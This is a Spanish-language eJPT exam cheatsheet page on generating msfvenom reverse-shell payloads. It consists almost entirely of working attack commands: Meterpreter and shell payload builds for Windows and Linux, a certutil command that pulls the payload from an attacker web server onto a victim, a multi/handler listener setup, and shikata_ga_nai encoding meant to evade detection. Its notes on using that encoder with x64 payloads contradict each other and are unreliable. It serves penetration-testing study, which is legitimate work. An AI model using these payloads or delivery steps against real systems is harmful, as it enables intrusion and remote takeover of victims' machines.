> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-cheatsheet/payloads-con-msfvenom.md).

# Payloads con Msfvenom

## 🎯 Formato General

```bash
msfvenom -p <payload> LHOST=<IP atacante> LPORT=<puerto> -f <formato> > <nombre_archivo>
```

***

## 🪟 Payloads para Windows

| Arquitectura | Payload                               | Descripción                            |
| ------------ | ------------------------------------- | -------------------------------------- |
| x86          | `windows/meterpreter/reverse_tcp`     | Meterpreter inverso por TCP            |
| x86          | `windows/shell/reverse_tcp`           | Shell inversa básica por TCP           |
| x64          | `windows/x64/meterpreter/reverse_tcp` | Meterpreter inverso para sistemas x64  |
| x64          | `windows/x64/shell/reverse_tcp`       | Shell inversa básica para sistemas x64 |

#### Ejemplo de generación:

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=4444 -f exe > shell_win.exe
```

***

## 🐧 Payloads para Linux

| Arquitectura | Payload                             | Descripción                            |
| ------------ | ----------------------------------- | -------------------------------------- |
| x86          | `linux/x86/meterpreter/reverse_tcp` | Meterpreter inverso para Linux 32-bit  |
| x86          | `linux/x86/shell/reverse_tcp`       | Shell inversa básica para Linux 32-bit |
| x64          | `linux/x64/meterpreter/reverse_tcp` | Meterpreter inverso para Linux 64-bit  |
| x64          | `linux/x64/shell/reverse_tcp`       | Shell inversa básica para Linux 64-bit |

#### Ejemplo de generación:

```bash
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=5555 -f elf > shell_lin.elf
```

***

## 🧪 Ejemplo: Enviar y ejecutar un payload en Windows

### 🔧 1. Generar el payload

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=4444 -f exe > shell_win.exe
```

### 🌐 2. Levantar un servidor web con Python

```bash
python3 -m http.server 80
```

### 💾 3. Descargar el payload en la máquina víctima

Desde CMD clásico en la víctima (sin PowerShell), usando `certutil`:

```cmd
certutil -urlcache -split -f http://10.10.14.6/shell_win.exe shell.exe
```

✔️ Este método funciona en la mayoría de versiones de Windows, incluso con PowerShell desactivado.

### 🧲 4. Configurar el listener en Metasploit

```bash
msfconsole
```

```ruby
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.6
set LPORT 4444
set ExitOnSession false
exploit -j
```

### 🚀 5. Ejecutar el payload en la víctima

Desde el mismo CMD en la máquina víctima:

```cmd
shell.exe
```

### 🎉 6. Obtener la sesión Meterpreter

```bash
[*] Meterpreter session 1 opened ...
```

## 🛡️Payloads Codificados con `shikata_ga_nai`

### ⚙️ Windows

**🔸 x86**

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > win_x86_shikata.exe
```

**🔸 x64**

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > win_x64_shikata.exe
```

> 💡 Aunque `shikata_ga_nai` es un encoder de 32 bits, también puede usarse con payloads x64, ya que Msfvenom manejará la transición.

***

### 🐧 Linux

**🔹 x86**

```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf > linux_x86_shikata.elf
```

**🔹 x64**

```bash
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf > linux_x64_shikata.elf
```

> ⚠️ `shikata_ga_nai` es exclusivo para payloads x86, pero puede aplicarse a algunos x64 sin errores si el payload no usa instrucciones puramente de 64 bits. Para x64 puros, es mejor usar otros encoders (ej: `x64/zutto_dekiru`).
